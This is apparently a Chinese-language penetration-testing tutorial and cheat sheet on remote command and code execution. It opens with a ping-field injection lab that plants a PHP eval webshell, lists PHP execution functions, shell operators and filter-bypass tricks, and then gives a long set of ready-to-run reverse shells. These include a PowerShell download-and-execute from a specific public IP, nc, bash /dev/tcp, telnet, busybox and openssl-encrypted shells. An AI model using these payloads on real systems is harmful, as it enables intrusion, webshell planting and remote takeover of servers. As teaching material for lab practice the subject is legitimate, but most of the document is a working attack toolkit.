概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获" -_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
一、远程系统命令执行之ping命令
该网站给用户提供了一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如下:
分析
然而开发者没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
加入多注入一个命令:
www.baidu.com&dir
可以发现命令被分别执行了
因为靶场在window虚拟机里,不同系统命令不同
使用命令创建文件(windows命令: echo 111 > 111.txt,创建111.txt文件,里面内容为111)
127.0.0.1&echo "<?php eval($_REQUEST[a]);?>" > 333.php
用命令查询,发现文件创建成功
直接进入目录
二、远程代码执行之eval
方法一:
web需要输入一个string, 随便输入一个: kobe
然后发现有eval函数注入点:
分析
当我们输入一个php函数:
phpinfo();
方法二:
system('echo "<?php eval($_REQUEST[a]);?>" > 123.php');
system("dir");
查看生成文件成功
测试是否成功
连接成功
三、执行函数
php为例:
代码执行函数:
php中 双引号会解析解析字符串中的变量,单引号不会解析 如$a=123;则"$a" = "123" eval() assert() call_user_func() create_function() array_map() call_user_func_array() array_filter() usort()、uasort() preg_replace()
命令执行函数:
system() passthru() exec() shell_exec() popen()/proc_open() 反引号 ``函数
四、Windows管道符
|:直接执行后面的语句。如:ping 127.0.0.1|whoami ||:如果前面执行的语句出错泽执行后面的语句,前面的语句智能为假 如:ping 2 || whoami &:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 如 ping 127.0.0.1&whoami &&:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami
五、Linux管道符
;:执行完前面的语句再执行后面的 例如:ping 127.0.0.1;whoami |:显示后面语句的执行结果 例如:ping 127.0.0.1|whoami ||:当前面的语句只能怪出错时,执行后面的语句,例如:ping 1||whoami &:如果当前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami &&:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真 例如:ping 127.0.0.1&&whoami %0a 换行符,执行完前面语句后继续执行后面语句 ? 模糊匹配单个字符,如viper可用vi?er替代 * 模糊匹配多个字符,如viper可用*er替代
六、绕过方式
如果遇到了过滤可以相互替换
命令(使用方法): cat (cat flag.php) tac (tac flag.php) more (more flag.php) less (less flag.php) head (head flag.php) nl (nl flag.pgp) od(od -c flag.php) vi (vi flag.php) vim (vim flag.php) sort (sort flag.php) uniq (uniq flag.php) file (file -f flag.pgp) grep (grep flag.php) paste (paste flag.php) xxd (xxd flag.php)
绕过空格方式
cat flag.php
cat$IFSflag.php cat$IFS$1flag.php cat${IFS}flag.php
绕过目录分隔符过滤
cd ..;cat flag
绕过关键字
有时候会过滤掉类似flag的关键字,可以通过一下方式绕过
f
lag fl'a'g单引号 fl"a"g双引号 fl\ag反斜杠 fl$@ag$@ f*
过滤全部字符
/bin/base64 /???/???64 ???
构造数字
echo $(()) 0 echo ( ( ((~(( (()))) -1 echo ( ( ((~(( (())))( ( ((~(( (())))( ( ((~(( (()))) -1-1-1 echo ( ( (((((($(())))$((( ( ) ) ) ) (())))(())))((~$(()))))) -3 echo ( ( ((~(( ((( ( ((~(( (())))( ( ((~(( (())))( ( ((~(( (()))))))) 2
七、windows反弹shell
执行powershell脚本需要修改powershell权限: 命令执行设置powershell权限: powershell Set-ExecutionPolicy Unrestricted 四种权限: 1、Restricted: 默认设置,不允许执行任何脚本 2、Allsigned:只能运行经过证书验证的脚本 3、Unrestricted: 权限最高,可以执行任意脚本 4、RemoteSigned: 对本地脚本不进行限制;对来自网络的脚本必须验证其签名 查询当前权限: Get-ExecutionPolicy 修改为最高权限: Set-ExecutionPolicy Unrestricted 恢复最低权限: Set-ExecutionPolicy Restricted powershell反弹shell powershell IEX(New-Object System.Net.Webclient).DownloadString('http://150.158.155.208/powercat.ps1');powercat -c 150.158.155.208 -p 6666 -e cmd
nc反弹
nc64.exe -e cmd 150.158.155.208 12341
八、linux 反弹shell(目标机开启)
shell反弹
bash -i >& /dev/tcp/192.168.0.1/65535 0>&1 或 sh -i >& /dev/tcp/192.168.0.1/65535 0>&1
nc反弹
#!/bin/bash nc -e /bin/bash 192.168.0.1 65535 #!/bin/bash /bin/bash | nc 192.168.0.1 65535 #!/bin/bash nc 192.168.0.1 65535 |/bin/bash #!/bin/bash rm -f /tmp/p; mknod /tmp/p p && nc 192.168.0.1 65535 0/tmp/ #!/bin/bash rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.1 65535 >/tmp/f
telnet反弹
#!/bin/bash telnet 192.168.0.1 65534 | /bin/bash | telnet 192.168.0.1 65535 #!/bin/bash mknod backpipe p && telnet 192.168.0.1 65535 0<backpipe | /bin/bash 1>backpipe
busybox反弹shell
当存在硬链接时如将/bin/sh命令指向/bin/busybox,可以使用busybox进行反弹shell
lrwxrwxrwx 1 root root 12 Jan 30 2019 /bin/sh -> /bin/busybox
/bin/busybox nc 150.158.155.208 6666 -e /bin/sh
九、linux正向shell(攻击机开启监听)
靶机开启监听:
nc -lvp 666
nc -lvp 4444 -e /bin/bash
攻击机连接靶机:
nc 192.168.200.184 4444
十、SSL加密反弹shell:
1、vps上先生成key.pem和cert.pem文件,一路回车即可
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
2、然后使用openssl设置监听端口,这里要带上key.pem和cert.pem
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
3、在靶机上执行反弹shell命令即可
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.200.184:8888 > /tmp/s; rm /tmp/s